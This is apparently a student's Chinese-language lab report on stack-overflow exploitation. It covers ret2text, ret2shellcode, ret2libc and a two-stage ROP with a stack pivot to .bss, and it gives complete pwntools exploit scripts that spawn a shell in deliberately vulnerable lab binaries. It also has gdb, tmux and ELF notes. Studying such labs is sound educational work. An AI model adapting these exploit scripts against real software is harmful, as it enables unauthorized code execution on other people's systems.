#lab

lab3 binary

developer

lab3 binary

  • example 栈溢出攻击示例
  • practice 实战
  • begin 基础知识

lab3 example 栈溢出攻击示例

准备工作

服务器

我就用的自己的Web服务器,系统Ubuntu22.04LTS。为了方便反汇编,新建一个smb配置项方便远程访问,因为Mac是arm架构的所以直接make会出错。

gef

首先确认环境,需要gdb10和python3.10以上。

# 进入gdb
gdb -q
# 确认gdb绑定的python版本
python import sys; print(sys.version)

github页面上的一键安装老是出问题,明明网也没事,于是就git clone了。

git clone https://github.com/hugsy/gef.git ~/.gef

然后修改~/.gdbinit就可以了,只留一句

source ~/.gef/gef.py

再打开gdb发现已经配置好了。

pwntools

sudo apt install pip
pip install pwntools

理论基础

攻击流程

这三种攻击都是基于栈溢出的漏洞。在函数调用的时候,上下文保存在栈帧中,这里面有函数的返回地址。而如果我们能够修改返回地址,就可以把控制流导向我们希望的地方。而修改返回地址的方法就是越界访问,具体方式就是“声明一小块,访问一大块”。

char buf[0x20];
read(0, buf, 0x100);

编译选项

越界访问常常是非法的,这也就是为什么在编译的时候需要打开特别的选项。观察提供的makefile发现,有三个选项

  • NOSTACK 关闭栈保护机制,使得可以越界访问
  • NOPIE 关闭位置无关执行,使得地址确定
  • NONX 关闭栈不允许执行,使得栈上的代码可以执行

payload

Payload 就是“攻击负载”,形式可以是:字符串、字节数组、shellcode、函数地址等,利用它控制程序的执行流。对于不同的攻击方式需要构造不同的payload,有时还需要程序打印一些payload需要的信息,例如libc中某函数的具体位置。攻击脚本构造payload,并且将它发送到程序中,实现攻击。

三种攻击方式

  1. ret2text 这种攻击的原理是把返回地址替换成自己程序中的恶意代码地址,调用程序中的隐藏方法,实现看似printf实际shell的效果。问题是静态分析时会直接露馅。

  2. ret2shellcode 原理是写一段能执行恶意效果的机器码,把它放入栈中,然后替换返回地址为这段代码的地址。这种方法不会被静态分析发现,但是需要栈可执行(NONX)。

  3. ret2libc 这种攻击基于ROP,更隐蔽,利用libc中的“无害”汇编片段拼接出一段想要的机器码,不需要栈可执行。主要的问题在于获取libc中各个系统调用的位置

ret2text

这个例子的源代码中有一个未被调用的backdoor(),我们的目标就是劫持控制流到这个backdoor。

// gcc -g -fno-stack-protector -o ret2text ret2text.c -no-pie
// 编译要求
#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>

void backdoor(){
  char *argv[] = {"/bin/sh", NULL};
  execve(argv[0], argv, NULL);
}

void vul(){
  char buf[0x20];
  read(0, buf, 0x40);
}

int main(){
  vul();
}

gdb初步研究

我们可以在gdb中通过修改vul()的返回地址,手动把控制流导向backdoor。首先在vul处打一个断点,让程序执行到read前

gdb ./ret2text
b vul
r

现在栈中状态是

0x00007fffffffe890│+0x0000: 0x0000000000000000	 ← $rsp
0x00007fffffffe898│+0x0008: 0x0000000000000000
0x00007fffffffe8a0│+0x0010: 0x0000000000000000
0x00007fffffffe8a8│+0x0018: 0x0000000000000000
0x00007fffffffe8b0│+0x0020: 0x00007fffffffe8c0  →  0x0000000000000001	 ← $rbp
0x00007fffffffe8b8│+0x0028: 0x00000000004011c7  →  <main+0012> mov eax, 0x0
0x00007fffffffe8c0│+0x0030: 0x0000000000000001
0x00007fffffffe8c8│+0x0038: 0x00007ffff7c29d90  →  <__libc_start_call_main+0080> mov edi, eax

注意,栈是从高地址向低地址增长的,但是gdb中栈的方向是“上低下高”,容易弄乱。rsp是栈顶指针,rbp是栈底指针,根据栈的结构,rbp之后的8B是函数返回地址。也就是说,返回地址存在e8b8中,它现在指向<main+0012>。vul本来要回到main,这很合理。

再研究一下main,输入disas main得到

Dump of assembler code for function main:
   0x00000000004011b5 <+0>:	endbr64
   0x00000000004011b9 <+4>:	push   rbp
   0x00000000004011ba <+5>:	mov    rbp,rsp
   0x00000000004011bd <+8>:	mov    eax,0x0
   0x00000000004011c2 <+13>:	call   0x401190 <vul>
   0x00000000004011c7 <+18>:	mov    eax,0x0
   0x00000000004011cc <+23>:	pop    rbp
   0x00000000004011cd <+24>:	ret

发现4011c7果然是call的返回地址。通过这一系列研究,函数的call和ret变得十分清晰。

gdb手动劫持控制流

现在先不管read这个漏洞,先直接修改e8b8试一试。执行

p backdoor

得到backdoor的地址为0x401156。只需要把e8b8改成这个就可以了

set *(unsigned*)0x00007fffffffe8b8 = 0x401156
c // 继续

程序成功进入了backdoor(),finish后就得到了shell。

构造payload

接下来,通过read这个漏洞实现攻击。char buf[]申请了32B的栈上空间,得到了一个指针buf,也就是当前rsp所指向的位置。而read(0, buf, 0x40)的意义是,从标准输入流读取64B放到buf上,这就可以覆盖到返回地址。

payload的前32B是buf中的内容,随便写。接下来8B是原有的rbp,也是随便写。再接下来8B就是返回地址。所以可以构造payload为b"A"*40 + b"\x56\x11\x40\x00\x00\x00\x00\x00"

我一开始觉得直接在终端中执行并输入payload就可以,但是终端中的输入流是ascii的,而我们需要字节流。于是用python构造payload

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x56\x11\x40\x00\x00\x00\x00\x00")' > payload.bin

再执行./ret2text < payload.bin,理论上来说就可以了,但是并没有拿到shell,这似乎是由于在终端中直接执行会导致/bin/sh无法获得stdin/stdout,从而无法交互。我觉得这种直接注入应该是可行的,不过尝试了很久还是无果。

构造攻击脚本

from pwn import *

# 初始化tmux行为
context.terminal = ["tmux", "splitw", "-h"] 
context.log_level = "debug"
context.binary = "./ret2text"
libc = context.binary.libc

def main():
    io = process(context.binary.path) # 可执行文件的位置
    payload = b"a" * 32
    payload += p64(0xdeadbeefdeadbeef) # fake old rbp
    payload += p64(context.binary.sym['backdoor']) # ret addr通过符号表查询
    gdb.attach(io) # 连接io流
    io.sendline(payload) # 发送payload
    io.interactive() # 进入交互式shell

if __name__ == "__main__":
    main()

脚本的思路其实和手动注入是一样的,我加了一些注释。在tmux中执行脚本,就可以得到shell了。得到shell时gdb里还停留在read函数里面。finish后再在backdoor打一个断点,继续执行就可以走到execve。但是发现仍然没有得到$,gdb提示process 232369 is executing new program: /usr/bin/dash,可能就是没有交互导致的。

ret2shellcode

case2的源代码中并没有可以利用的backdoor()了,但是给出了栈的地址,并且得到了一个更长的栈溢出区域,而且栈可执行。我们的目标就是把预设的一段可以调用shell的代码注入到栈上,并且执行它。

/*
  gcc -fno-stack-protector -z execstack \
   -g -o ret2shellcode ret2shellcode.c
*/
#include<unistd.h>
#include<stdio.h>

void vul(){
  char buf[0x20];
  printf("I will give you stack: %p\n", buf);
  read(0, buf, 0x100);
}

int main(){
  vul();
}

构造shellcode

所谓shellcode就是一段实现execve(/bin/sh)的汇编代码,pwntools提供了一键构造并且翻译成对应架构的机器码的功能

print(shellcraft.sh()) # 输出,方便调试
shellcode = asm(shellcraft.sh())

构造payload

在case1中,我们修改返回地址为程度中的另一个函数,可以通过符号查询context.binary.sym方便地找到跳转地址。但在本例中,我们要跳转到的位置并没有提前放在内存中,而是随着payload被注入到栈中的。这也就是为什么我们需要获取栈的地址,从而得到想要的跳转位置。payload结构如下

                         stack_addr+0x30
                              |
32B覆盖buf -> 8B覆盖rbp -> 8B覆盖ret_addr -> xB的shellcode

而其中的stack_addr就是rsp的地址,也就是buf的地址。所以首先要获得stack_addr

io.recvuntil('I will give you stack: ')
stack_addr = int(io.recvline().strip(), 16)
success("stack address: " + hex(stack_addr))

这就捕获了buf的地址,接下来构造payload

payload = b"a"*0x20 + p64(0xdeadbeef) + p64(stack_addr + 0x30) + shellcode

注入payload

gdb.attach(io)
io.sendline(payload)
io.interactive()

完整脚本如下,执行后就得到了shell

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"
context.binary = "./ret2shellcode"

def main():
    io = process(context.binary.path)
    io.recvuntil('I will give you stack: ')
    stack_addr = int(io.recvline().strip(), 16)
    success("stack address: " + hex(stack_addr))

    print(shellcraft.sh())
    shellcode = asm(shellcraft.sh())

    gdb.attach(io)
    payload = b"a"*0x20 + p64(0xdeadbeef) + p64(stack_addr + 0x30) + shellcode
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

效果分析

执行脚本得到shell后,gdb还是停在read,finish之后就来到了vul返回前。此时栈已经被注入了shellcode,返回地址就是shellcode开始的地址,也就是32850(32820+30)。

0x00007fffb0032820│+0x0000: 0x6161616161616161   ← $rsp, $rsi
0x00007fffb0032828│+0x0008: 0x6161616161616161
0x00007fffb0032830│+0x0010: 0x6161616161616161
0x00007fffb0032838│+0x0018: 0x6161616161616161
0x00007fffb0032840│+0x0020: 0x00000000deadbeef   ← $rbp
0x00007fffb0032848│+0x0028: 0x00007fffb0032850  →  0x6e69622fb848686a
0x00007fffb0032850│+0x0030: 0x6e69622fb848686a
0x00007fffb0032858│+0x0038: 0xe7894850732f2f2f

左侧的窗口中可以看到注入的shellcode,可以找到0x00007fffb0032850字段,不过因为是小端表示所以反过来了。在gdb中用x/20x 0x00007fffb0032850查看shellcode,发现可以和左侧对上,而x/20i就可以看到具体的code。

ret2libc

case3中的编译选项取消了execstack,就算注入了shellcode也无法执行。不过这次我们可以得到libc中的(void*)puts的地址。

/*
  gcc -fno-stack-protector -no-pie \
      -g -o ret2libc ret2libc.c
 */
#include<stdio.h>
#include<unistd.h>

void vul(){
  char buf[0x20];
  read(0, buf, 0x100);
}

int main(){
  puts("hello!");
  printf("I will give you libc address: %p\n", (void*)puts);
  vul();
}

构造rop链

rop链由一连串的gadget组成,每个gadget都是在libc中以ret为结尾的片段,所以只要把返回地址改成rop链头部的地址,就可以一连串地执行。在构造之前,首先要得到libc的地址,case3中以printf得到了puts的地址,所以libc的首地址就是这个地址减去偏移量。

io.recvuntil('I will give you libc address: ')
libc.address = int(io.recvuntil('\n', drop=True), 16) - libc.symbols['puts']
success("libc.address: " + hex(libc.address))

得到libc地址后,使用pwntools提供的rop链构造工具即可。也可以在终端中用objdump -d libc.so.6 | grep 'pop rdi'来手动找,二者是等价的。

def create_rop_chain():
    # prepare the arguments
    #  rdi, rsi, rdx
    # invoke execve("/bin/sh", 0,0)
    rop = ROP(libc)
    rop.call(libc.symbols['execve'], [next(libc.search(b'/bin/sh')), 0, 0])
    print(rop.dump())
    return rop.chain()

rop.call中,第一个参数是想要执行的文件的地址,此处是execve在libc中的相对偏移量。第二个参数是一个寄存器数组

  • rdi next(libc.search(b'/bin/sh')),libc.search会返回多个结果,用next取其中一个
  • rsi 对应argv
  • rdx 对应envp

构造和注入payload

和之前两个case大同小异,只不过将rbp之后的位置换成了rop对象。pwntool能自动注入,十分方便。

    rop_chain = create_rop_chain()
    payload = b"a"*0x20 + p64(0xdeadbeef) + rop_chain

完整脚本

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
# context.log_level = "debug"
context.binary = "./ret2libc"

libc = context.binary.libc

def create_rop_chain():
    # prepare the arguments
    #  rdi, rsi, rdx
    # invoke execve("/bin/sh", 0,0)
    rop = ROP(libc)
    rop.call(libc.symbols['execve'], [next(libc.search(b'/bin/sh')), 0, 0])
    print(rop.dump())
    return rop.chain()

def main():
    io = process(context.binary.path)
    io.recvuntil('I will give you libc address: ')
    libc.address = int(io.recvuntil('\n', drop=True), 16) - libc.symbols['puts']
    success("libc.address: " + hex(libc.address))

    # gdb.attach(io, f"b *{context.binary.symbols['vul']}")
    gdb.attach(io)
    rop_chain = create_rop_chain()
    payload = b"a"*0x20 + p64(0xdeadbeef) + rop_chain
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

效果分析

执行后得到了shell,同样gdb停在read中,finish后来到了vul返回前。此时发现栈中已经注入payload,rbp后的栈是0x000077a7bff1f2e7 → <qecvt+0027> pop rdx,这和打印出来的rop链吻合 0x77a7bff1f2e7 pop rdx; pop r12; ret。

从vul的最后几条汇编指令开始单步执行(si),来到ret后发现果然跳转到了 <qecvt+0027> pop rdx,这说明rop链成功执行了。

寄存器的修改顺序为rdx、rsi、rdi,本例中只有rdi是需要一个特别的值的。继续单步执行,来到了修改rsi,这里是用了libc中的 <__gconv_close_transform+00ef>作为gadget。

最后修改rdi,这就是第一个参数/bin/sh,此时栈顶rsp的内容0x0068732f6e69622f正是/bin/sh的字符串。这就完成了rop的构建。

继续前进,就来到execve了,finish后gdb就无法继续追踪了。

lab3 practice栈溢出攻击实战

准备工作

编译选项查询

checksec --file=./practice

得到

RELRO           STACK CANARY      NX            PIE             RPATH     
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH 

没开canary,说明可以栈溢出。没有开启pie,但是开了栈不可执行,这说明shellcode方法不可用。

反汇编

通过反汇编得到该二进制文件的主要逻辑为

char name[0x100]; 
char buf;         

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);        // 禁用缓冲
    printf("Name:");                         // 打印提示
    read(0, name, 0x100);                    // 正常读取 name
    printf("Try your best:");                // 再次提示
    read(0, &buf, 0x100);                    // 再次读取
    return 0;
}

其中没有其他的隐藏函数,ret2text不可用。综上只能libc rop。

尝试gdb

记得先chmod +x ./practice

思路

这个二进制文件比前面的ret2libc例子的困难点就在于,它没有直接告诉我们libc的地址。我们需要获取libc的地址后再rop,然而获取libc地址就需要一次rop。这就要求我们溢出两次。

然而,栈溢出是一次性的,如果溢出两次就会变得十分混乱,rbp也丢了,main会直接ret然后退出。我们的想法是把栈劫持到bss区域,这就需要在第一次溢出中修改rbp而不是直接爆破它。

在第一次rop的尾部,我们把控制流导向main的开头部分,让main再跑一次。main接下来会第二次读取&name,我们只需要把第二次的rop放到bss区的name位置就可以了。

第一次溢出

rop1的构造

一开始,我觉得直接rop.call(prog.sym['prinft'], [prog.got('printf')])就可以,然而忽视了一个重要的问题:prinft是带格式的。如果有puts就好了,可惜文件里只有printf可以输出。

这个问题的解决办法是先通过read开辟一块bss里的区域,然后让脚本send一个格式化的串过去,再让printf从那里打印。那这快区域开在哪呢?通过阅读反编译的代码,得知bss一开始是name的区域,大小0x100,所以尽量远一点好。

# 先通过read在bss段写入格式字符串
bss_addr = prog.bss(0x200)
rop.call(prog.symbols['read'], [0, bss_addr])
# 然后用printf读取
rop.call(prog.symbols['printf'], [bss_addr, prog.got['printf']])
# main再现
rop.call(0x4005fe)

在这之后,再给rop链加上返回main+8的gadget。为什么不能返回main+0?因为main一开始会重置栈,这就会导致劫持失效,所以必须避开开始的几个语句。

0x4005f6 <main>:     push   rbp
0x4005f7 <main+1>:   mov    rbp,rsp
0x4005fa <main+4>:   sub    rsp,0x20
0x4005fe <main+8>:   mov    rax,QWORD PTR [rip+0x200a5b]
0x400605 <main+15>:  mov    ecx,0x0

payload的构造

劫持栈到bss的关键就在payload。不同于之前所有例子,这次rbp不能是deadbeef,而要设置成bss段的一个地址。设置成哪呢?还是得离前面的read-printf区域远一点。因为一开始设置的太小导致printf的输出会覆盖掉栈,导致各种意想不到的问题,困扰了我很久。

在rop加载进去之前,栈的形状是:

32B变量区 -> 8Brbp -> 8B返回地址

对应地构造payload为

payload = b"A"*0x20 + p64(bss_addr+0x300) + rop.chain()

这样,在第一次溢出后,bss区应该是这样的:

0x000 name
0x100 endofname
0x200 printf.addr
0x500 stack

数据流

脚本和二进制文件之间会发生数据交互,必须确保它们的一致性。

io.sendlineafter("Name:", b"test")
io.sendlineafter("Try your best:", payload)
io.send(b"%s\x00\x00\x00\x00\x00\x00") # 发送格式串

leak = u64(io.recv(6).ljust(8, b"\x00"))
libc.address = leak - libc.sym['printf']
success(f"libc.address = {hex(libc.address)}")

注意其中的格式串和io.recv。如果格式串设置成(b"%s\x00")就会导致recv得到过多的数据,很奇怪,脚本会收到第二次main执行时发过来的Name:。同样困扰了我很久的问题。

第二次溢出

现在,我们已经得到了libc的地址,main停在main+8的位置。为了方便调试,可以加个断点b *0x4005fe

构造rop2

因为已经得到libc了,所以rop2只需要一句就好。

rop.call(libc.symbols['execve'], [next(libc.search(b'/bin/sh')), 0, 0])

构造payload

那payload呢?按理说直接sendline(rop)就会把rop送到bss的栈上,但不知为何还是老失败,还是得构造一个典型的payload。

fake_rbp = 0xdeadbeefdeadbeef
payload = b"A" * 0x20 + p64(fake_rbp) + rop.chain()
io.sendline("namename")
io.sendlineafter("Try your best:", payload)

我不得不承认我不知道为什么sendline不行,也许需要再多分析分析bss中的栈。

效果

成功拿到shell!

栈被劫持到bss的画面

代码

加入了很多debug和pause,还是很有用的。

from pwn import *
context.binary = "./practice"
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"

io = process(context.binary.path)
libc = context.binary.libc
prog = context.binary
rop = ROP(prog)
gdb.attach(io) # 连接gdb


# ------第一次溢出------

# 先通过read在bss段写入格式字符串
bss_addr = prog.bss(0x200)
rop.call(prog.symbols['read'], [0, bss_addr])
# 然后用printf读取
rop.call(prog.symbols['printf'], [bss_addr, prog.got['printf']])
# return to main+8
rop.call(0x4005fe)

print("---- ROP 1 ----")
print(rop.dump())
pause()

# payload
# 在这里劫持rbp到bss里,设置rbp到bss段
offset = 0x20 # 留出rbp不覆盖
payload = b"A"*offset + p64(bss_addr+0x300) + rop.chain()

io.sendlineafter("Name:", b"test")
io.sendlineafter("Try your best:", payload)
io.send(b"%s\x00\x00\x00\x00\x00\x00") # 发送格式串

leak = u64(io.recv(6).ljust(8, b"\x00")) # 接收格式串
libc.address = leak - libc.sym['printf']
success(f"[+] libc.address = {hex(libc.address)}")
print(f"[+] printf@libc = {hex(leak)}")
print(f"[+] Expected new stack: {hex(bss_addr)}") # 检查rsp是否指向bss段


# ------第二次溢出------

rop = ROP(libc)
rop.call(libc.symbols['execve'], [next(libc.search(b'/bin/sh')), 0, 0])

# rop调试信息
print("---- ROP 2 ----")
print(rop.dump())
print(f"[+] ROP chain length: {len(rop.chain())}")
print(f"[+] ROP chain: {rop.chain().hex()}")
print(f"[+] execve address: {hex(libc.symbols['execve'])}")
pause()

# payload
fake_rbp = 0xdeadbeefdeadbeef # 这次rbp是什么无所谓
payload = b"A" * 0x20 + p64(fake_rbp) + rop.chain()

io.sendline("namename") # 接收第二次Name
pause()
io.sendlineafter("Try your best:", payload)

# 开启交互
io.interactive()

一些调试过程

0x00007ffffb37ee80│+0x0000: 0x4141414141414141   ← $rsp, $rsi
0x00007ffffb37ee88│+0x0008: 0x4141414141414141
0x00007ffffb37ee90│+0x0010: 0x4141414141414141
0x00007ffffb37ee98│+0x0018: 0x4141414141414141
0x00007ffffb37eea0│+0x0020: 0x4141414141414141   ← $rbp
0x00007ffffb37eea8│+0x0028: 0x00000000004006e3  →  <__libc_csu_init+0063> pop rdi
0x00007ffffb37eeb0│+0x0030: 0x0000000000601018  →  0x00007a40160606f0  →  <printf+0000> endbr64
0x00007ffffb37eeb8│+0x0038: 0x00000000004004b0  →  <printf@plt+0000> jmp QWORD PTR [rip+0x200b62]        # 0x601018 <[email protected]>
0x00007ffd10b391a0│+0x0000: 0x4141414141414141   ← $rsp, $rsi
0x00007ffd10b391a8│+0x0008: 0x4141414141414141
0x00007ffd10b391b0│+0x0010: 0x4141414141414141
0x00007ffd10b391b8│+0x0018: 0x4141414141414141
0x00007ffd10b391c0│+0x0020: 0x4141414141414141   ← $rbp
0x00007ffd10b391c8│+0x0028: 0x00000000004006e3  →  <__libc_csu_init+0063> pop rdi
0x00007ffd10b391d0│+0x0030: 0x0000000000601018  →  0x00007c7a66c606f0  →  <printf+0000> endbr64
0x00007ffd10b391d8│+0x0038: 0x00000000004004b0  →  

main中的leave+ret: leave 等价于:

mov rsp, rbp     ; rsp = rbp(让栈指针指向保存的旧rbp位置)
pop rbp          ; rbp = [rsp], rsp += 8(恢复旧rbp,rsp指向返回地址)
ret 等价于:
pop rip          ; rip = [rsp], rsp += 8(跳转到返回地址)

所以rbp在leave之后就没用了,rsp才有用

lab3 beginner 入门tmux、二进制、gdb

tmux

sudo apt install tmux

tmux很好,在~/.tmux.conf中加入鼠标支持后更好了,但是有个致命的问题困扰了我好久,就是没法复制粘贴到系统剪贴板。最后不得不放弃macOS自带的Terminal,用了iTerm2。网上都说按住Shift后选择文本,实际上是按住Alt,太坑了。另外有可能是配置的OSC52生效了,配置如下

# 使用 vi 风格的复制模式
setw -g mode-keys vi
# 在 vi 模式复制时,按 'y' 复制到剪贴板
bind-key -T copy-mode-vi y send -X copy-pipe-and-cancel "pbcopy"
# OSC 52 复制进本地剪贴板
bind-key -T copy-mode-vi y send -X copy-pipe-and-cancel "tmux save-buffer - | base64 | tr -d '\n' | awk '{printf \"\\033]52;c;%s\\a\", \$0}'"

另外tmux复杂的快捷键也让人不好一时熟悉,用起来比较折磨。本来觉得那就不用tmux了,开好几个ssh呗,结果攻击脚本必须用tmux,因为要出debug窗口。只能自适应了。

二进制可执行文件

结构

我使用的是binary ninja来阅读二进制文件。一个ELF格式的二进制文件结构如下

1️⃣ ELF Header (Elf64_Ehdr)

位于文件起始,包含:

  • e_ident 魔数、位数(32/64)、字节序、版本等
  • e_type 文件类型(EXEC/DYN/REL)
  • e_entry 程序入口地址(通常指向 _start)
  • e_phoff Program Header 表的偏移
  • e_shoff Section Header 表的偏移
  • e_flags 特定 CPU 架构标志
  • e_ehsize ELF Header 自身大小

2️⃣ Program Header Table(段表)

每个表项对应一个 段(segment),是加载到内存的最小单位。内核不看 Section,只看 Segment。

  • PT_LOAD 可加载段:比如 .text, .data
  • PT_INTERP 动态链接器路径(如 /lib64/ld-linux-x86-64.so.2)
  • PT_DYNAMIC 指向 .dynamic 表,用于动态链接
  • PT_PHDR 程序头自身的段
  • PT_TLS 线程局部存储段

3️⃣Section Header Table(节表)

节(section)是编译器/链接器视角的结构,用于链接和调试,运行时通常不会使用。 常见 section:

  • .text 程序代码
  • .data 已初始化的全局变量
  • .bss 未初始化的全局变量(在运行时置为 0)
  • .rodata 只读数据(如字符串字面量)
  • .plt / .plt.sec 外部函数的跳转表
  • .got / .got.plt 保存外部符号地址
  • .dynsym 动态符号表(用于动态链接)
  • .dynstr 动态字符串表(动态符号名字)
  • .dynamic 描述动态依赖的信息
  • .rela.plt / .rel.plt 动态链接时需要修正的地址
  • .eh_frame / .debug_* 异常处理与调试符号信息
  • .comment 编译器注释
  • .interp 字符串段,内容是动态链接器路径

执行

  1. 用户输入命令 ./a.out,Shell 通过 execve() 系统调用请求内核加载该可执行文件。

  2. 内核: • 打开文件并识别它是一个 ELF 格式; • 读取其 Program Header Table • 按照 PT_LOAD 段的指示,把程序的 .text、.data、.rodata 等段 映射(mmap)到内存中,形成进程映像; • 设置好初始堆栈、参数、环境变量; • 设置指令指针(RIP)指向程序的入口地址_start

  3. 内核把控制权交给动态链接器 /lib64/ld-linux-x86-64.so.2,由ELF头部的INTERP字段指定

  4. 动态链接器自己是一段 ELF 可执行文件,加载后运行

  5. 它读取 .dynamic 段,发现程序需要 libc.so.6 等共享库,于是: • 在文件系统中搜索对应的 so 文件; • 用 mmap 把它们加载进当前进程的地址空间; • 查找.dynsym和.dynstr,为 .got.plt 中的函数地址做 符号绑定(懒加载或立即加载);

    • 通过.rela执行重定位,替换地址

    • 最后跳转到用户程序的 main(\ _start → __libc_start_main → main)。

内存结构

gdb/gef入门

启动gdb

输入命令gdb ./program后,gdb会读取文件并分析结构。此时程序没有真的运行,只是gdb加载了它的调试信息和构建了映射。此时就进入了交互的界面。

输入start后,gdb会根据e_entry在入口地址处设置一个断点。然后gdb调用fork创建子进程,并用execve加载程序。程序完成了链接与加载后刚刚到达入口点时,gdb捕获到断点,暂停程序。

移动

  • n/next 执行下一行语句,不进入函数
  • s/step执行并进入函数内部
  • c/continue执行到下一个断点
  • si 单步执行一条汇编指令
  • finish 快速执行完当前函数,直到返回
  • b/breakpoint 设置断点
    • b func 函数
    • b *0x4005f6 地址
    • b 15 行号
  • d/delete 删除断点,d 1第一个断点

查看

  • info
    • info locals 局部变量
    • info breakpoints
    • info regeisters
    • info files 所有mmap的文件
    • info functions所有函数调用关系
  • x/fx
    • x/4x $rsp 显示栈顶4字节
    • x/s $rdi 显示rdi中的字符串
    • x/5s 0x1234 显示五个字符串
    • x/5i 五条指令
  • conte/context 当前上下文
    • conte stack查看栈,比x/20x $rsp强因为有指针标识
  • disas/disassemble 反汇编某函数
  • p/print var
  • bt/backtrace 显示调用栈
  • l/list显示源码

gef视图

gef通过若干窗格来展示当前的状态

  • registers
  • stack
  • code
  • threads 线程状态
  • trace 调用栈

主要需要观察的其实就是栈的变化。这里面的地址全都是虚拟地址,对照着内存结构,可以很快明白哪是哪。